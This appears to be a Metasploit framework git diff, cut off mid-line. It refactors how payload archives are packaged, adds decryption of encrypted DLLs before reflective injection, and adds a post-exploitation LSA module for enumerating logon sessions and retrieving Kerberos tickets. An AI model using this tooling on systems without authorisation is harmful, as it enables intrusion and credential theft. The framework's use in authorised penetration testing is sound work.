b/lib/msf/core/payload/android.rb @@ -127,7 +127,13 @@ module Msf::Payload::Android [ "AndroidManifest.xml" ], [ "resources.arsc" ] ] - jar.add_files(files, MetasploitPayloads.path("android", "apk")) + + files.each do |file| + path = ['android', 'apk', file].flatten.join('/') + contents = ::MetasploitPayloads.read(path) + jar.add_file(file.join('/'), contents) + end + jar.add_file("classes.dex", fix_dex_header(classes)) jar.build_manifest diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 466a272a4b..ee7f5aa1a2 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -58,7 +58,14 @@ module Msf::Payload::Java jar = Rex::Zip::Jar.new jar.add_sub("metasploit") if opts[:random] jar.add_file("metasploit.dat", stager_config(opts)) - jar.add_files(paths, ::MetasploitPayloads.path('java')) + jar.add_file('metasploit/', '') # Create the metasploit dir + + paths.each do |path_parts| + path = ['java', path_parts].flatten.join('/') + contents = ::MetasploitPayloads.read(path) + jar.add_file(path_parts.join('/'), contents) + end + jar.build_manifest(:main_class => main_class) jar @@ -103,7 +110,14 @@ module Msf::Payload::Java zip.add_file('WEB-INF/', '') zip.add_file('WEB-INF/web.xml', web_xml) zip.add_file("WEB-INF/classes/", "") - zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/') + zip.add_file('metasploit/', '') # Create the metasploit dir + + paths.each do |path_parts| + path = ['java', path_parts].flatten.join('/') + contents = ::MetasploitPayloads.read(path) + zip.add_file(path_parts.join('/'), contents) + end + zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts)) zip @@ -138,7 +152,14 @@ module Msf::Payload::Java zip = Rex::Zip::Jar.new zip.add_file('META-INF/', '') zip.add_file('META-INF/services.xml', services_xml) - zip.add_files(paths, MetasploitPayloads.path('java')) + zip.add_file('metasploit/', '') # Create the metasploit dir + + paths.each do |path_parts| + path = ['java', path_parts].flatten.join('/') + contents = ::MetasploitPayloads.read(path) + zip.add_file(path_parts.join('/'), contents) + end + zip.add_file('metasploit.dat', stager_config(opts)) zip.build_manifest(:app_name => app_name) diff --git a/lib/msf/core/payload/windows/dll_inject.rb b/lib/msf/core/payload/windows/dll_inject.rb index 7ad07c6938..4852d83d55 100644 --- a/lib/msf/core/payload/windows/dll_inject.rb +++ b/lib/msf/core/payload/windows/dll_inject.rb @@ -205,9 +205,8 @@ module Payload::Windows::DllInject data = library_name + "\x00" begin - File.open(library_path, "rb") { |f| - data += f.read - } + encrypted_contents = ::File.binread(library_path) + data += ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_contents) rescue print_error("Failed to load DLL: #{$!}.") diff --git a/lib/msf/core/payload/windows/encrypted_reverse_tcp.rb b/lib/msf/core/payload/windows/encrypted_reverse_tcp.rb index 1c27e5836f..bad7dcfb5a 100644 --- a/lib/msf/core/payload/windows/encrypted_reverse_tcp.rb +++ b/lib/msf/core/payload/windows/encrypted_reverse_tcp.rb @@ -23,7 +23,7 @@ module Payload::Windows::EncryptedReverseTcp # prevents checks running when module is initialized during msfconsole startup if framework - unless framework.db.connection_established? + unless framework.db.active add_warning('A database connection is preferred for this module. If this is not possible, please make sure to '\ 'take note of the ChachaKey & ChachaNonce options used during generation in order to set them correctly when '\ 'calling a module handler.') diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 17abee00d5..1b8e29e94d 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -475,10 +475,7 @@ module Msf 0x0 ].pack(client.arch == ARCH_X86 ? 'VVVVVVVV' : 'QQVVQQVQ') result = client.railgun.netapi32.NetUserAdd(server_name, 1, user_info, 4) - client.railgun.multi([ - ['kernel32', 'VirtualFree', [addr_username, 0, MEM_RELEASE]], # addr_username - ['kernel32', 'VirtualFree', [addr_password, 0, MEM_RELEASE]], # addr_password - ]) + session.railgun.util.free_data(addr_username, addr_password) return result end @@ -505,9 +502,7 @@ module Msf 0x0 # lgrpi1_comment ].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ') result = client.railgun.netapi32.NetLocalGroupAdd(server_name, 1, localgroup_info, 4) - client.railgun.multi([ - ['kernel32', 'VirtualFree', [addr_group, 0, MEM_RELEASE]], # addr_group - ]) + session.railgun.util.free_data(addr_group) return result end @@ -533,9 +528,7 @@ module Msf 0x0 ].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ') result = client.railgun.netapi32.NetGroupAdd(server_name, 1, group_info_1, 4) - client.railgun.multi([ - ['kernel32', 'VirtualFree', [addr_group, 0, MEM_RELEASE]], # addr_group - ]) + session.railgun.util.free_data(addr_group) return result end @@ -561,9 +554,7 @@ module Msf addr_username, ].pack(client.arch == ARCH_X86 ? 'V' : 'Q') result = client.railgun.netapi32.NetLocalGroupAddMembers(server_name, localgroup, 3, localgroup_members, 1) - client.railgun.multi([ - ['kernel32', 'VirtualFree', [addr_username, 0, MEM_RELEASE]], - ]) + session.railgun.util.free_data(addr_username) return result end diff --git a/lib/msf/core/post/windows/lsa.rb b/lib/msf/core/post/windows/lsa.rb new file mode 100644 index 0000000000..58558ed039 --- /dev/null +++ b/lib/msf/core/post/windows/lsa.rb @@ -0,0 +1,518 @@ +# -*- coding: binary -*- + +require 'rex/proto/ms_dtyp' + +module Msf + class Post + module Windows + module Lsa + def initialize(info = {}) + super( + update_info( + info, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_railgun_api + stdapi_railgun_memread + stdapi_railgun_memwrite + ] + } + } + ) + ) + end + + # [UNICODE_STRING structure (subauth.h)](https://learn.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string) + class UNICODE_STRING_x64 < BinData::Record + endian :little + + uint16 :len + uint16 :maximum_len + uint64 :buffer, byte_align: 8 + end + + # [UNICODE_STRING structure (subauth.h)](https://learn.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string) + class UNICODE_STRING_x86 < BinData::Record + endian :little + + uint16 :len + uint16 :maximum_len + uint32 :buffer, byte_align: 4 + end + + # [LSA_LAST_INTER_LOGON_INFO structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-lsa_last_inter_logon_info) + class LSA_LAST_INTER_LOGON_INFO < BinData::Record + endian :little + search_prefix :ms_dtyp + + large_integer :last_successful_logon + large_integer :last_failed_logon + uint32 :failed_attempt_count_since_last_successful_logon + end + + # [LSA_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_string) + class LSA_STRING_x64 < BinData::Record + endian :little + + uint16 :len + uint16 :maximum_len + uint64 :buffer, byte_align: 8 + end + + # [LSA_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_string) + class LSA_STRING_x86 < BinData::Record + endian :little + + uint16 :len + uint16 :maximum_len + uint32 :buffer, byte_align: 4 + end + + # [LSA_UNICODE_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string) + class LSA_UNICODE_STRING_x64 < BinData::Record + endian :little + + uint16 :len + uint16 :maximum_len + uint64 :buffer, byte_align: 8 + end + + # [LSA_UNICODE_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string) + class LSA_UNICODE_STRING_x86 < BinData::Record + endian :little + + uint16 :len + uint16 :maximum_len + uint32 :buffer, byte_align: 4 + end + + # [KERB_CRYPTO_KEY structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_crypto_key) + class KERB_CRYPTO_KEY_x64 < BinData::Record + endian :little + + int32 :key_type + uint32 :len + uint64 :val + end + + # [KERB_CRYPTO_KEY structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_crypto_key) + class KERB_CRYPTO_KEY_x86 < BinData::Record + endian :little + + int32 :key_type + uint32 :len + uint32 :val + end + + # [KERB_EXTERNAL_TICKET](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_external_ticket) + class KERB_EXTERNAL_TICKET_x64 < BinData::Record + endian :little + search_prefix :ms_dtyp + + uint64 :service_name + uint64 :target_name + uint64 :client_name + unicode_string_x64 :domain_name + unicode_string_x64 :target_domain_name + unicode_string_x64 :alt_target_domain_name + kerb_crypto_key_x64 :session_key + uint32 :ticket_flags + uint32 :flags + large_integer :key_expiration_time + large_integer :start_time + large_integer :end_time + large_integer :renew_until + large_integer :time_skew + uint32 :encoded_ticket_size + uint64 :encoded_ticket, byte_align: 8 + end + + # [KERB_EXTERNAL_TICKET](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_external_ticket) + class KERB_EXTERNAL_TICKET_x86 < BinData::Record + endian :little + search_prefix :ms_dtyp + + uint32 :service_name + uint32 :target_name + uint32 :client_name + unicode_string_x86 :domain_name + unicode_string_x86 :target_domain_name + unicode_string_x86 :alt_target_domain_name + kerb_crypto_key_x86 :session_key + uint32 :ticket_flags + uint32 :flags + large_integer :key_expiration_time + large_integer :start_time + large_integer :end_time + large_integer :renew_until + large_integer :time_skew + uint32 :encoded_ticket_size + uint32 :encoded_ticket, byte_align: 4 + end + + # https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Security/Authentication/Identity/struct.KERB_TICKET_CACHE_INFO_EX.html + class KERB_TICKET_CACHE_INFO_EX_x64 < BinData::Record + endian :little + search_prefix :ms_dtyp + + lsa_unicode_string_x64 :client_name + lsa_unicode_string_x64 :client_realm + lsa_unicode_string_x64 :server_name + lsa_unicode_string_x64 :server_realm + large_integer :start_time + large_integer :end_time + large_integer :renew_time + int32 :encryption_type + uint32 :ticket_flags + end + + # https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Security/Authentication/Identity/struct.KERB_TICKET_CACHE_INFO_EX.html + class KERB_TICKET_CACHE_INFO_EX_x86 < BinData::Record + endian :little + search_prefix :ms_dtyp + + lsa_unicode_string_x86 :client_name + lsa_unicode_string_x86 :client_realm + lsa_unicode_string_x86 :server_name + lsa_unicode_string_x86 :server_realm + large_integer :start_time + large_integer :end_time + large_integer :renew_time + int32 :encryption_type + uint32 :ticket_flags + end + + # [KERB_QUERY_TKT_CACHE_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_request) + class KERB_QUERY_TKT_CACHE_REQUEST < BinData::Record + endian :little + search_prefix :ms_dtyp + + uint32 :message_type + luid :logon_id + end + + # [KERB_QUERY_TKT_CACHE_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_response) + class KERB_QUERY_TKT_CACHE_RESPONSE_x64 < BinData::Record + endian :little + + uint32 :message_type + uint32 :count_of_tickets + array :tickets, type: :kerb_ticket_cache_info_ex_x64, initial_length: :count_of_tickets + end + + # [KERB_QUERY_TKT_CACHE_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_response) + class KERB_QUERY_TKT_CACHE_RESPONSE_x86 < BinData::Record + endian :little + + uint32 :message_type + uint32 :count_of_tickets + array :tickets, type: :kerb_ticket_cache_info_ex_x86, initial_length: :count_of_tickets + end + + # [KERB_RETRIEVE_TKT_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request) + class KERB_RETRIEVE_TKT_REQUEST_x64 < BinData::Record + endian :little + search_prefix :ms_dtyp + + uint32 :message_type + luid :logon_id + lsa_unicode_string_x64 :target_name, byte_align: 8 + uint32 :ticket_flags + uint32 :cache_options + int32 :encryption_type + struct :credentials_handle, byte_align: 8 do # SecHandle, see: https://learn.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-sechandle + uint64 :dw_lower + uint64 :dw_upper + end + end + + # [KERB_RETRIEVE_TKT_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request) + class KERB_RETRIEVE_TKT_REQUEST_x86 < BinData::Record + endian :little + search_prefix :ms_dtyp + + uint32 :message_type + luid :logon_id + lsa_unicode_string_x86 :target_name, byte_align: 4 + uint32 :ticket_flags + uint32 :cache_options + int32 :encryption_type + struct :credentials_handle, byte_align: 4 do # SecHandle, see: https://learn.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-sechandle + uint64 :dw_lower + uint64 :dw_upper + end + end + + # [KERB_RETRIEVE_TKT_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_response) + class KERB_RETRIEVE_TKT_RESPONSE_x64 < BinData::Record + endian :little + + kerb_external_ticket_x64 :ticket + end + + # [KERB_RETRIEVE_TKT_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_response) + class KERB_RETRIEVE_TKT_RESPONSE_x86 < BinData::Record + endian :little + + kerb_external_ticket_x86 :ticket + end + + # [SECURITY_LOGON_SESSION_DATA structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-security_logon_session_data) + class SECURITY_LOGON_SESSION_DATA_x64 < BinData::Record + endian :little + search_prefix :ms_dtyp + + uint32 :len + luid :logon_id + lsa_unicode_string_x64 :user_name, byte_align: 8 + lsa_unicode_string_x64 :logon_domain + lsa_unicode_string_x64 :authentication_package + uint32 :logon_type + uint32 :session + uint64 :psid + large_integer :logon_time + lsa_unicode_string_x64 :logon_server + lsa_unicode_string_x64 :dns_domain_name + lsa_unicode_string_x64 :upn + uint32 :user_flags + lsa_last_inter_logon_info :last_logon_info, byte_align: 8 + lsa_unicode_string_x64 :logon_script + lsa_unicode_string_x64 :profile_path + lsa_unicode_string_x64 :home_directory + lsa_unicode_string_x64 :home_directory_drive + large_integer :logoff_time + large_integer :kick_off_time + large_integer :password_last_set + large_integer :password_can_change + large_integer :password_must_change + end + + # [SECURITY_LOGON_SESSION_DATA structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-security_logon_session_data) + class SECURITY_LOGON_SESSION_DATA_x86 < BinData::Record + endian :little + search_prefix :ms_dtyp + + uint32 :len + luid :logon_id + lsa_unicode_string_x86 :user_name, byte_align: 4 + lsa_unicode_string_x86 :logon_domain + lsa_unicode_string_x86 :authentication_package + uint32 :logon_type + uint32 :session + uint32 :psid + large_integer :logon_time + lsa_unicode_string_x86 :logon_server + lsa_unicode_string_x86 :dns_domain_name + lsa_unicode_string_x86 :upn + uint32 :user_flags + lsa_last_inter_logon_info :last_logon_info, byte_align: 4 + lsa_unicode_string_x86 :logon_script + lsa_unicode_string_x86 :profile_path + lsa_unicode_string_x86 :home_directory + lsa_unicode_string_x86 :home_directory_drive + large_integer :logoff_time + large_integer :kick_off_time + large_integer :password_last_set + large_integer :password_can_change + large_integer :password_must_change + end + + # [TOKEN_STATISTICS structure (winnt.h)](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_statistics) + class TOKEN_STATISTICS < BinData::Record + endian :little + search_prefix :ms_dtyp + + luid :token_id + luid :authentication_id + large_integer :expiration_time + int32 :token_type + int32 :impersonation_level + uint32 :dynamic_charged + uint32 :dynamic_available + uint32 :group_count + uint32 :privilege_count + luid :modified_id + end + + LsaPointer = Struct.new(:value, :contents) + + # Initialize a new LSA_STRING instance in memory. + # + # @param [String] string The string value to place in memory. + def lsa_string(string) + case session.native_arch + when ARCH_X64 + klass = LSA_STRING_x64 + when ARCH_X86 + klass = LSA_STRING_x86 + else + raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}" + end + + ptr = session.railgun.util.alloc_and_write_string(string) + return nil if ptr.nil? + + klass.new(len: string.length, maximum_len: string.length + 1, buffer: ptr) + end + + # Initialize a new LSA_UNICODE_STRING instance in memory. + # + # @param [String] string The string value to place in memory. + def lsa_unicode_string(string) + case session.native_arch + when ARCH_X64 + klass = LSA_UNICODE_STRING_x64 + when ARCH_X86 + klass = LSA_UNICODE_STRING_x86 + else + raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}" + end + + ptr = session.railgun.util.alloc_and_write_string(string) + return nil if ptr.nil? + + klass.new(len: string.length, maximum_len: string.length + 2, buffer: ptr) + end + + # Read an LSA_UNICODE_STRING from memory. + # + # @param [LSA_UNICODE_STRING] str The LSA_UNICODE_STRING to read from memory. + def read_lsa_unicode_string(str) + return '' if str.len == 0 + + # the len field is in bytes, divide by two because #read_wstring takes chars + session.railgun.util.read_wstring(str.buffer, str.len / 2) + end + + def lsa_call_authentication_package(handle, auth_package, submit_buffer, submit_buffer_length: nil) + if auth_package.is_a?(String) + auth_package = lsa_lookup_authentication_package(handle, auth_package) + return nil if auth_package.nil? + end + + submit_buffer = submit_buffer.to_binary_s if submit_buffer.is_a?(BinData::Struct) + if submit_buffer_length.nil? + submit_buffer_length = submit_buffer.length + end + + result = session.railgun.secur32.LsaCallAuthenticationPackage( + handle, + auth_package, + submit_buffer, + submit_buffer_length, + 4, + 4, + 4 + ) + unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS + status = ::WindowsError::NTStatus.find_by_retval(result['return']).first + print_error("Failed to call the authentication package. LsaCallAuthenticationPackage failed with: #{status}") + return nil + end + unless result['ProtocolStatus'] == ::WindowsError::NTStatus::STATUS_SUCCESS + status = lsa_nt_status_to_win_error(result['ProtocolStatus']) + print_error("Failed to call the authentication package. LsaCallAuthenticationPackage authentication package failed with: #{status}") + return nil + end + return nil if result['ProtocolReturnBuffer'] == 0 + + LsaPointer.new(result['ProtocolReturnBuffer'], session.railgun.memread(result['ProtocolReturnBuffer'], result['ReturnBufferLength'])) + end + + def lsa_connect_untrusted + result = session.railgun.secur32.LsaConnectUntrusted(4) + unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS + status = ::WindowsError::NTStatus.find_by_retval(result['return']).first + print_error("Failed to obtain a handle to LSA. LsaConnectUntrusted failed with: #{status.to_s}") + return nil + end + + result['LsaHandle'] + end + + def lsa_deregister_logon_process(handle) + result = session.railgun.secur32.LsaDeregisterLogonProcess(handle) + unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS + status = ::WindowsError::NTStatus.find_by_retval(result['return']).first + print_error("Failed to close the handle to LSA. LsaDeregisterLogonProcess failed with: #{status.to_s}") + return nil + end + + true + end + + def lsa_enumerate_logon_sessions + result = session.railgun.secur32.LsaEnumerateLogonSessions(4, 4) + unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS + status = ::WindowsError::NTStatus.find_by_retval(result['return']).first + print_error("Failed to enumerate logon sessions. LsaEnumerateLogonSessions failed with: #{status.to_s}") + return nil + end + + return [] if result['LogonSessionCount'] == 0 + luids = BinData::Array.new(type: :ms_dtyp_luid, initial_length: result['LogonSessionCount']) + luids.read(session.railgun.memread(result['LogonSessionList'], luids.num_bytes)) + session.railgun.secur32.LsaFreeReturnBuffer(result['LogonSessionList']) + luids + end + + def lsa_get_logon_session_data(luid) + case session.native_arch + when ARCH_X64 + logon_session_data = SECURITY_LOGON_SESSION_DATA_x64.new + result = session.railgun.secur32.LsaGetLogonSessionData(luid, 8) + when ARCH_X86 + logon_session_data = SECURITY_LOGON_SESSION_DATA_x86.new + result = session.railgun.secur32.LsaGetLogonSessionData(luid, 4) + else + raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}" + end + + unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS + status = ::WindowsError::NTStatus.find_by_retval(result['return']).first + print_error("Failed to obtain logon session data. LsaGetLogonSessionData failed with: #{status.to_s}") + return nil + end + logon_session_data.read(session.railgun.memread(result['ppLogonSessionData'], logon_session_data.num_bytes)) + + LsaPointer.new(result['ppLogonSessionData'], logon_session_data) + end + + def lsa_lookup_authentication_package(handle, package_name) + package_name = lsa_string(package_name) + return nil if package_name.nil? + + result = session.railgun.secur32.LsaLookupAuthenticationPackage(handle, package_name, 4) + session.railgun.util.free_string(package_name.buffer) + unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS + status = ::WindowsError::NTStatus.find_by_retval(result['return']).first + print_error("Failed to lookup the authentication package. LsaLookupAuthenticationPackage failed with: #{status.to_s}") + return nil + end + + result['AuthenticationPackage'] + end + + def lsa_nt_status_to_win_error(nt_status) + ::WindowsError::Win32.find_by_retval(session.railgun.advapi32.LsaNtStatusToWinError(nt_status)['return']).first + end + + def lsa_register_logon_process + logon_process_name = lsa_string('Winlogon') + return nil if logon_process_name.nil? + + result = session.railgun.secur32.LsaRegisterLogonProcess(logon_process_name.to_binary_s, 4, 4) + session.railgun.util.free_string(logon_process_name.buffer) + unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS + status = ::WindowsError::NTStatus.find_by_retval(result['return']).first + print_error("Failed to obtain a handle to LSA. LsaRegisterLogonProcess failed with: #{status.to_s}") + return nil + end + + result['LsaHandle'] + end + end + end + end +end diff --git a/lib/msf/core/post/windows/reflective_dll_injection.rb b/lib/msf/core/post/windows/reflective_dll_injection.rb index 6278514b95..dd703694ef 100644 --- a/lib/msf/core/post/windows/reflective_dll_injection.rb +++ b/lib/msf/core/post/windows/reflective_dll_injection.rb @@ -78,8 +78,9 @@ module Msf::Post::Windows::ReflectiveDLLInjection # @return [Array] Tuple of allocated memory address and offset to the # +ReflectiveLoader+ function. def inject_dll_data_into_process(process, dll_data, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER) - offset = load_rdi_dll_from_data(dll_data, loader_name: loader_name, loader_ordinal: loader_ordinal) - dll_mem = inject_into_process(process, dll_data) + decrypted_dll_data = ::MetasploitPayloads::Crypto.decrypt(ciphertext: dll_data) + offset = load_rdi_dll_from_data(decrypted_dll_data, loader_name: loader_name, loader_ordinal: loader_ordinal) + dll_mem = inject_into_process(process, decrypted_dll_data) return dll_mem, offset end diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index e12e684df8..bde647c314 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -4,10 +4,7 @@ # module Msf::PostMixin - include Msf::Auxiliary::Report - - include Msf::Module::HasActions - include Msf::Post::Common + include Msf::SessionCompatibility def initialize(info = {}) super( @@ -26,311 +23,5 @@ module Msf::PostMixin register_options( [ Msf::OptInt.new('SESSION', [ true, 'The session to run this module on' ]) ] , Msf::Post) - - # Default stance is active - self.passive = info['Passive'] || false - self.session_types = info['SessionTypes'] || [] - end - - # - # Grabs a session object from the framework or raises {OptionValidateError} - # if one doesn't exist. Initializes user input and output on the session. - # - # @raise [OptionValidateError] if {#session} returns nil - def setup - alert_user - - unless session || (datastore['SESSION'].blank? && !options['SESSION']&.required) - raise Msf::OptionValidateError.new(['SESSION']) - end - - if session - # Check session readiness before compatibility so the session can be queried - # for its platform, capabilities, etc. - check_for_session_readiness if session.type == "meterpreter" - - if session.type.ends_with?(':winpty') - raise Msf::OptionValidateError.new({ - 'SESSION' => 'Session does not support post modules.' - }) - end - - incompatibility_reasons = session_incompatibility_reasons(session) - if incompatibility_reasons.any? - print_warning("SESSION may not be compatible with this module:") - incompatibility_reasons.each do |reason| - print_warning(" * #{reason}") - end - end - end - - # Msf::Exploit#setup for exploits, NoMethodError for post modules - super rescue NoMethodError - - @session.init_ui(self.user_input, self.user_output) if @session - @sysinfo = nil - end - - # Meterpreter sometimes needs a little bit of extra time to - # actually be responsive for post modules. Default tries - # and retries for 5 seconds. - def check_for_session_readiness(tries=6) - session_ready_count = 0 - session_ready = false - until session.sys or session_ready_count > tries - session_ready_count += 1 - back_off_period = (session_ready_count**2)/10.0 - select(nil,nil,nil,back_off_period) - end - session_ready = !!session.sys - unless session_ready - raise "The stdapi extension has not been loaded yet." unless session.tlv_enc_key.nil? - raise "Could not get a hold of the session." - end - return session_ready - end - - # - # Default cleanup handler does nothing - # - def cleanup - end - - # - # Return the associated session or nil if there isn't one - # - # @return [Msf::Session] - # @return [nil] if the id provided in the datastore does not - # correspond to a session - def session - # Try the cached one - return @session if @session and not session_changed? - - if datastore["SESSION"] - @session = framework.sessions.get(datastore["SESSION"].to_i) - else - @session = nil - end - - @session - end - - def session_display_info - "Session: #{session.sid} (#{session.session_host})" - end - - alias :client :session - - # - # Cached sysinfo, returns nil for non-meterpreter sessions - # - # @return [Hash,nil] - def sysinfo - begin - @sysinfo ||= session.sys.config.sysinfo - rescue NoMethodError - @sysinfo = nil - end - @sysinfo - end - - # - # Can be overridden by individual modules to add new commands - # - def post_commands - {} - end - - # Whether this module's {Msf::Exploit::Stance} is {Msf::Exploit::Stance::Passive passive} - def passive? - self.passive - end - - # - # Return a (possibly empty) list of all compatible sessions - # - # @return [Array] - def compatible_sessions - sessions = [] - framework.sessions.each do |sid, s| - sessions << sid if session_compatible?(s) - end - sessions - end - - # - # Return false if the given session is not compatible with this module - # - # Checks the session's type against this module's - # module_info["SessionTypes"] as well as examining platform - # and arch compatibility. - # - # +sess_or_sid+ can be a Session object, Integer, or - # String. In the latter cases it should be a key in - # +framework.sessions+. - # - # @note Because it errs on the side of compatibility, a true return - # value from this method does not guarantee the module will work - # with the session. For example, ARCH_CMD modules can work on a - # variety of platforms and archs and thus return true in this check. - # - # @param sess_or_sid [Msf::Session,Integer,String] - # A session or session ID to compare against this module for - # compatibility. - # - def session_compatible?(sess_or_sid) - session_incompatibility_reasons(sess_or_sid).empty? - end - - # - # Return the reasons why a session is incompatible. - # - # @return Array - def session_incompatibility_reasons(sess_or_sid) - # Normalize the argument to an actual Session - case sess_or_sid - when ::Integer, ::String - s = framework.sessions[sess_or_sid.to_i] - when ::Msf::Session - s = sess_or_sid - end - - issues = [] - - # Can't do anything without a session - unless s - issues << ['invalid session'] - return issues - end - - # Can't be compatible if it's the wrong type - if session_types - issues << "incompatible session type: #{s.type}" unless session_types.include?(s.type) - end - - # Check to make sure architectures match - mod_arch = self.module_info['Arch'] - if mod_arch - mod_arch = [mod_arch] unless mod_arch.kind_of?(Array) - # Assume ARCH_CMD modules can work on supported SessionTypes since both shell and meterpreter types can execute commands - issues << "incompatible session architecture: #{s.arch}" unless mod_arch.include?(s.arch) || mod_arch.include?(ARCH_CMD) - end - - # Arch is okay, now check the platform. - if self.platform && self.platform.kind_of?(Msf::Module::PlatformList) - issues << "incompatible session platform: #{s.platform}" unless self.platform.supports?(Msf::Module::PlatformList.transform(s.platform)) - end - - # Check all specified meterpreter commands are provided by the remote session - if s.type == 'meterpreter' - issues += meterpreter_session_incompatibility_reasons(s) - end - - issues - end - - # - # True when this module is passive, false when active - # - # @return [Boolean] - # @see passive? - attr_reader :passive - - # - # A list of compatible session types - # - # @return [Array] - attr_reader :session_types - - protected - - attr_writer :passive - attr_writer :session_types - - def session_changed? - @ds_session ||= datastore["SESSION"] - - if (@ds_session != datastore["SESSION"]) - @ds_session = nil - return true - else - return false - end - end - - # - # Return the reasons why a meterpreter session is incompatible. Checks all specified meterpreter commands - # are provided by the remote session - # - # @return Array - def meterpreter_session_incompatibility_reasons(session) - cmd_name_wildcards = module_info.dig('Compat', 'Meterpreter', 'Commands') || [] - cmd_names = Rex::Post::Meterpreter::CommandMapper.get_command_names.select do |cmd_name| - cmd_name_wildcards.any? { |cmd_name_wildcard| ::File.fnmatch(cmd_name_wildcard, cmd_name) } - end - - unmatched_wildcards = cmd_name_wildcards.select { |cmd_name_wildcard| cmd_names.none? { |cmd_name| ::File.fnmatch(cmd_name_wildcard, cmd_name) } } - unless unmatched_wildcards.empty? - # This implies that there was a typo in one of the wildcards because it didn't match anything. This is a developer mistake. - wlog("The #{fullname} module specified the following Meterpreter command wildcards that did not match anything: #{ unmatched_wildcards.join(', ') }") - end - - cmd_ids = cmd_names.map { |name| Rex::Post::Meterpreter::CommandMapper.get_command_id(name) } - - # XXX: Remove this condition once the payloads gem has had another major version bump from 2.x to 3.x and - # rapid7/metasploit-payloads#451 has been landed to correct the `enumextcmd` behavior on Windows. Until then, skip - # proactive validation of Windows core commands. This is not the only instance of this workaround. - if session.base_platform == 'windows' - cmd_ids = cmd_ids.select do |cmd_id| - !cmd_id.between?( - Rex::Post::Meterpreter::ClientCore.extension_id, - Rex::Post::Meterpreter::ClientCore.extension_id + Rex::Post::Meterpreter::COMMAND_ID_RANGE - 1 - ) - end - end - - # Windows does not support chmod, but will be defined by default in the file mixin - if session.base_platform == 'windows' - cmd_ids -= [Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_FS_CHMOD] - end - - missing_cmd_ids = (cmd_ids - session.commands) - unless missing_cmd_ids.empty? - # If there are missing commands, try to load the necessary extension. - - # If core_loadlib isn't supported, then extensions can't be loaded - return ['missing Meterpreter features: core can not be extended'] unless session.commands.include?(Rex::Post::Meterpreter::COMMAND_ID_CORE_LOADLIB) - - # Since core is already loaded, if the missing command is a core command then it's truly missing - missing_core_cmd_ids = missing_cmd_ids.select do |cmd_id| - cmd_id.between?( - Rex::Post::Meterpreter::ClientCore.extension_id, - Rex::Post::Meterpreter::ClientCore.extension_id + Rex::Post::Meterpreter::COMMAND_ID_RANGE - 1 - ) - end - if missing_core_cmd_ids.any? - return ["missing Meterpreter features: #{command_names_for(missing_core_cmd_ids)}"] - end - - missing_extensions = 